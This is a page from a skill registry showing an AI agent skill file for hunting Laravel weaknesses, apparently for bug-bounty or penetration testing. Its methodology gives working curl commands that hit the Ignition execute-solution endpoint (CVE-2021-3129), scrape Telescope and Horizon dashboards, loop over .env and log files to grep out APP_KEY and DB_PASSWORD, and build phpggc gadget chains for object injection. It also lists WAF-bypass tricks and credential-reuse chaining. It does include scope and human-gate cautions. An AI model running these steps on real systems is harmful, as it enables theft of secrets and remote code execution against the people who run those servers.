laravel
Skill0 starsChanged 19 days agoMITView on GitHub
Hunt for Laravel / PHP-framework weaknesses: APP_DEBUG=true leakage and Ignition RCE (CVE-2021-3129), exposed Telescope/Horizon dashboards, readable .env / config leaks, PHP object-injection via a known/leaked APP_KEY (decrypt_resolve / laravel-crypto-killer), and verbose debug stack traces that leak secrets and internal paths. Use when the target is Laravel (Ignition error page, X-Powered-By PHP, laravel_session cookie, /telescope, /horizon, Blade errors, .env). Keywords: laravel, php, app_debug, ignition, CVE-2021-3129, telescope, horizon, .env leak, app_key, laravel decrypt, phpggc, object injection, debug stack trace, Whoops. Do NOT use for generic PHP LFI/RFI (use lfi-rfi) or language-agnostic deserialization theory (use deserialization). This is the Laravel-specific config/debug/crypto surface.
- Reads credentials
- Sends data out
15 other projects use a version of this.
Adopted by
Most recently taken up by
- gingerminds/claude-skillstheir own version, first seen Nov 26, 2026
- youlaitech/youlai-skillstheir own version, first seen Nov 24, 2026
- hmj1026/dhpktheir own version, first seen Nov 18, 2026
- reisi007/agents-skillstheir own version, first seen Nov 9, 2026
- AnyOrgName/php-skillstheir own version, first seen Nov 8, 2026
- turkeryildirim/ai-skillstheir own version, first seen Nov 1, 2026
Used with
Projects with it also use wordpress and react.
Other files people use alongside this one.
Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
iamandrewpetersSkillwordpress
Use this skill when working on WordPress development tasks including plugins, themes, shortcodes, hooks, WP-CLI commands, multisite, custom post types, meta boxes, the REST API, or debugging WordPress issues.
Also in 3 projects that use this
VercelSkillreact
React renderer for json-render that turns JSON specs into React components. Use when working with @json-render/react, building React UIs from JSON, creating component catalogs, or rendering AI-generated specs.
Also in 6 projects that use this
Other versions15 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 15
- Mindrally/skills★ 275same name
- youlaitech/youlai-skills★ 72same name
- rawveg/skillsforge-marketplace★ 40same name
- G1Joshi/Agent-Skills★ 15same name
- ulpi-io/browse★ 15same name
- AnyOrgName/php-skills★ 4same name
- turkeryildirim/ai-skills★ 4same name
- dafaalz/agent-skills★ 2same name
- gingerminds/claude-skills★ 2same name
- hmj1026/dhpk★ 2same name
5 more not listed
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository155 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-red-team-bridgeSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- sysprompt-analysisSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- artifact-cleanupSkill
- credential-hygieneSkill
- data-retentionSkill
- email-securitySkill
- engagement-flowSkill
- evidence-sealSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- security-policy-parserSkill
- 2fa-bypassSkill
- 403-bypassSkill
- api-abuseSkill
- aspnetSkill
- auth-bypassSkill
- authz-matrixSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- captcha-bypassSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- dom-basedSkill
- email-injectionSkill
- exceptional-conditionsSkill
- file-uploadSkill
- fuzzingSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
3 rules. 0 are common, 2 are distinctive, and 1 is very specific to this project.
0
Common
Most of the 13 edited versions we read keep these.
2
Distinctive
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 71
Treat the destructive log-manipulation steps as Human-gate actions — confirm scope before running the full chain.
- Distinctive: line 211
Before declaring this finding complete, probe these escalation paths:
- Very specific: line 248
phpggc chain names drift: Verify the current Laravel/Monolog/Guzzle chain with phpggc -l against the target's PHP/Laravel version.
“Common” is measured: kept by at least 6 in 10 of the 13 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- Laravel fingerprints:
Set-Cookie: laravel_session=andXSRF-TOKEN=,X-Powered-By: PHP, a Blade/Ignition error page (Facade/Flare branding, "Illuminate\..." stack frames),/livewireassets,/vendor/references. - A debug error page (Ignition/Whoops) rendered on a forced error — leaks framework version, file paths, env snippets, SQL, and sometimes secrets.
- Dashboards:
/telescope,/telescope/requests,/horizon,/horizon/dashboard,/_ignition/health-check,/_ignition/execute-solution. - Config/secret files reachable:
/.env,/.env.bak,/.env.save,/storage/logs/laravel.log,/.git/config. - An
APP_KEYof the formbase64:...seen in a leak/repo, plus app behaviour that deserializes Laravel-encrypted payloads (cookies, signed values).
Prerequisites
- Confirmed Laravel (an Ignition page,
laravel_sessioncookie, or/telescoperesponding). - For Ignition RCE (CVE-2021-3129):
APP_DEBUG=trueAND a vulnerablefacade/ignitionversion (< 2.5.2) with/_ignition/execute-solutionreachable. - For APP_KEY object injection: a leaked/known
APP_KEYand a Laravel endpoint that decrypts/unserializes attacker-supplied ciphertext (a cookie or signed parameter). - For blind confirmation of RCE: an OOB listener with per-attempt token (
engine.oast).
Methodology
- Fingerprint and force a debug error. Confirm Laravel and whether debug is on:
An Ignition page confirmscurl -s -I https://target/ | grep -iE 'set-cookie: *(laravel_session|xsrf-token)|x-powered-by: *php' # trigger an error (bad method / bad route / type-juggled param) and inspect the page curl -s -X POST https://target/login | grep -iE 'ignition|whoops|Illuminate\\\\|APP_KEY|\.env' curl -s "https://target/%00" | grep -oE 'Laravel v[0-9.]+|PHP [0-9.]+'APP_DEBUG=true— already an info leak, and the gate to Ignition RCE. - Ignition RCE (CVE-2021-3129). With debug on and a vulnerable Ignition, the
execute-solutionendpoint can be driven (via a log-poisoning + phar/MakeViewVariableOptionalsolution) to execute code. Confirm with an OOB callback, not a shell:
Treat the destructive log-manipulation steps as Human-gate actions — confirm scope before running the full chain; a version match alone is Unproven.# probe the endpoint exists and reflects the solution/parameters shape curl -s -X POST https://target/_ignition/execute-solution \ -H 'Content-Type: application/json' \ -d '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters":{"variableName":"x","viewFile":"/var/www/storage/logs/laravel.log"}}' # the published PoC writes a crafted log then clears/decodes it to gain execution; # use a benign OOB command as proof and poll the listener python3 -m engine.oast poll --audit-dir . - Telescope / Horizon exposure. These debugging dashboards often ship unauthenticated in
non-local environments and leak requests, queries, secrets, and job payloads:
A 200 with real request/query data is info-disclosure feeding session hijack / APP_KEY hunt.curl -s -o /dev/null -w "%{http_code}\n" https://target/telescope curl -s https://target/telescope/requests | head -c 500 # request log incl. headers/bodies curl -s "https://target/telescope/telescope-api/requests" | head -c 800 # JSON API, bulk curl -s -o /dev/null -w "%{http_code}\n" https://target/horizon/dashboard - .env and config leaks. Static exposure of
.envhands over APP_KEY, DB creds, mail/API keys outright:
A readablefor f in .env .env.bak .env.save .env.production storage/logs/laravel.log; do code=$(curl -s -o /tmp/l.out -w "%{http_code}" "https://target/$f") echo "$f -> $code $(grep -oE 'APP_KEY=base64:[^ ]+|DB_PASSWORD=.*' /tmp/l.out | head -1)" done.envis a direct secret leak (critical) and the APP_KEY gateway to object injection. - APP_KEY → PHP object injection. With a known APP_KEY, Laravel-encrypted values become
forgeable; if any decrypts into
unserialize(), a phpggc gadget yields object injection/RCE:
Object injection requires an actual# build a gadget and encrypt it with the leaked APP_KEY (laravel-crypto-killer / custom script) phpggc -l | grep -i laravel # list Laravel/Monolog/Guzzle gadget chains phpggc Laravel/RCE9 system 'id' -b # example chain (verify current chain names with -l) # encrypt the gadget under APP_KEY and deliver via the cookie/param that gets decrypt()->unserialize() # confirm with an OOB callback, not a blind shellunserialize()sink reached by decrypted input — the APP_KEY alone is a secret leak, not RCE, until that sink is demonstrated. - Debug stack-trace mining. Even without Ignition RCE, the debug page leaks exploitable
detail:
Absolute paths (for LFI/log-poisoning), SQL (for sqli), and env values (secrets) all surface here.curl -s -X POST https://target/some/endpoint -d 'id[]=1' | \ grep -oE '/var/www/[^ "<]+|APP_KEY=base64:[^ "<]+|DB_[A-Z]+=[^ "<]+|SELECT .* FROM [^ "<]+' - Confirm the primitive and stop at the gate. Record which path (Ignition RCE, dashboard leak, .env leak, APP_KEY object injection, debug leak). Running the full RCE chain or using leaked DB creds is a Human-gate / new-scope action.
Tooling
curl/ Burp — force debug errors, hit/_ignition/*,/telescope,/.env.phpggc— generate PHP gadget chains (Laravel/Monolog/Guzzle); list with-land verify chain names (they change across releases) per CLI anti-hallucination.laravel-crypto-killer(or a small script) — encrypt/decrypt Laravel payloads with a known APP_KEY to forge object-injection cookies.nuclei -tags laravel,ignition— triage CVE-2021-3129 and exposed-dashboard templates (confirm version applicability; don't report on match alone).engine.oast/interactsh— OOB proof for Ignition / object-injection RCE.
Root Causes
APP_DEBUG=truein production — Ignition/Whoops renders secrets, paths, SQL, and exposes theexecute-solutionendpoint.- Vulnerable
facade/ignition(< 2.5.2) acceptingMakeViewVariableOptional/phar solutions — log-poison-to-RCE (CVE-2021-3129). - Telescope/Horizon registered without
gate/auth middleware in non-local environments. - Web root or misconfigured server serving dotfiles (
.env,.git) instead of confining topublic/. - A static/leaked
APP_KEYplus adecrypt()→unserialize()path — forgeable encrypted payloads become object injection (overlaps deserialization).
Validation Gate (minimum proof)
- Demonstrated: a token-correlated OOB callback from the Ignition chain or an APP_KEY-forged
object-injection payload (RCE); a
/telescope//horizon200 showing real request/query data; a readable.envreturningAPP_KEY/DB_PASSWORD; or a debug page returning concrete secrets. Payload + request/response included. - Inferred:
APP_DEBUG=trueconfirmed (Ignition renders) and a vulnerable Ignition version seen but the RCE chain not driven; an APP_KEY leaked but theunserialize()sink not yet reached; a dashboard route returning a login/redirect rather than data. - Unproven: "Laravel + Ignition version X, therefore CVE-2021-3129" with no chain reproduced; "APP_KEY leaked, therefore RCE" with no decrypt→unserialize sink. Do not report as RCE (the leak itself may still be its own finding).
- Name the vector (Ignition RCE vs dashboard leak vs .env leak vs APP_KEY object injection vs debug leak) — severity and fix differ.
Payloads & Detection Patterns
Guía de caza: una familia por primitiva de Laravel. El RCE (Ignition, object-injection) es ciego:
el único camino a Demonstrated es un callback OOB correlacionado por token.
| Categoría | Shape | Propósito |
| Debug fingerprint | forzar error → página Ignition/Whoops | Confirmar APP_DEBUG=true + versión |
| Ignition RCE | POST /_ignition/execute-solution + solution MakeViewVariableOptional | Log-poison → ejecución (CVE-2021-3129) |
| Telescope leak | GET /telescope/requests, /telescope-api/requests | Dump de requests/queries/secretos |
| Horizon leak | GET /horizon/dashboard | Payloads de jobs / colas |
| .env leak | GET /.env, /.env.bak | APP_KEY + credenciales DB/API directas |
| APP_KEY object inj. | gadget phpggc cifrado bajo APP_KEY → cookie/param | Object injection vía decrypt→unserialize |
| Debug secret mine | stack trace con paths/SQL/env | LFI/sqli/secret pivots |
Surface signals que delatan la clase antes de inyectar:
- URL:
/_ignition/execute-solution,/_ignition/health-check,/telescope*,/horizon*,/.env. - HTML: página Ignition/Flare, frames
Illuminate\\...,Laravel vX. - Headers:
Set-Cookie: laravel_session,XSRF-TOKEN,X-Powered-By: PHP.
# fingerprint + ¿debug on? (fuerza un error y busca Ignition/secretos)
curl -s -X POST https://target/login | grep -iE 'ignition|whoops|APP_KEY|Illuminate\\\\' | head -3
curl -s -I https://target/ | grep -iE 'laravel_session|x-powered-by: *php'# dashboards y .env en un barrido corto
for p in telescope telescope/requests horizon/dashboard .env .env.bak; do
echo "$p -> $(curl -s -o /dev/null -w '%{http_code}' https://target/$p)"
done# Ignition: ¿existe el endpoint de solución? (probe, sin ejecutar el chain destructivo)
curl -s -o /dev/null -w "%{http_code}\n" -X POST https://target/_ignition/execute-solution \
-H 'Content-Type: application/json' -d '{"solution":"x","parameters":{}}'
# 200/422 (valida parámetros) => endpoint vivo; 404 => no aplicaBypass Techniques
Agrupadas por la defensa que evaden; probar la familia completa antes de declarar no-vulnerable.
| Filtro evadido | Técnica | Notas |
.env 404 por ruta directa | Probar backups .env.bak/.save/.production, .git/config, storage/logs/laravel.log | El log suele filtrar APP_KEY y queries |
| Dashboard con gate por entorno | Probar en staging/beta donde local/debug suele quedar on | Config copiada entre despliegues |
| Ignition path desconocido | Leer el viewFile real desde el stack trace de debug | El log a envenenar es un path absoluto del trace |
| APP_KEY rotada | Reusar la misma APP_KEY en staging/beta (reuso entre entornos) | Una APP_KEY filtrada suele valer en varios envs |
| phpggc chain obsoleto | phpggc -l y elegir la cadena vigente para la versión de PHP/Laravel | Los nombres de cadena cambian por release |
WAF filtra /_ignition | Doble slash, case, ; trailing en el path | El routing de Laravel normaliza distinto al WAF |
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- APP_DEBUG=true → Ignition RCE — Is
facade/ignitionvulnerable andexecute-solutionreachable? Reproduce with an OOB callback (gate the destructive chain). - .env / dashboard leak → APP_KEY object injection — Does the leaked APP_KEY let you forge an encrypted payload into a decrypt→unserialize sink? Chain deserialization → rce.
- .env leak → credential reuse — Do leaked DB/mail/API creds work against the DB or other services? Chain credential-testing (gate before use).
- Debug stack trace → lfi / sqli — Do leaked absolute paths enable log-poisoning/LFI, or does leaked SQL reveal an injectable query? Chain lfi-rfi / sqli.
- Telescope leak → session hijack — Do captured requests contain live session cookies or bearer tokens? Chain auth-bypass.
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
APP_DEBUG=true+ vulnerable Ignition → log poisoning → rce (CVE-2021-3129, OOB-proven, gated)..env/ Telescope leak → leakedAPP_KEY→ forged encrypted payload → deserialization → rce..envleak → DB/mail/API credentials → credential-testing → lateral access (new scope).- Debug stack trace → absolute paths → lfi-rfi / log poisoning; or leaked SQL → sqli.
- Telescope/Horizon request dump → session cookies/tokens → auth-bypass / session hijack.
Gotchas
- Version match is Unproven. A vulnerable Ignition version is a lead, not a finding; the CVE-2021-3129 chain must be reproduced with an OOB callback before claiming RCE.
- APP_KEY leak ≠ RCE. A leaked APP_KEY is a serious secret leak, but object-injection RCE needs
a real
decrypt()→unserialize()sink reached by attacker input — demonstrate the sink. - OOB proof, benign command, gate the destructive steps. The Ignition chain writes/clears log files; treat that as a Human-gate action and prove execution with a DNS/HTTP callback, not a shell.
- Common N/A:
APP_DEBUG=false(generic error page, no Ignition), dashboards return a login or 403,.env404 — record tested-and-safe with evidence. - phpggc chain names drift. Verify the current Laravel/Monolog/Guzzle chain with
phpggc -lagainst the target's PHP/Laravel version; a stale chain fails silently and looks like "not vulnerable". - Overclaim trap: an Ignition page leaking paths/SQL is info-disclosure, scored as such — don't inflate it to RCE without the execute-solution chain.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

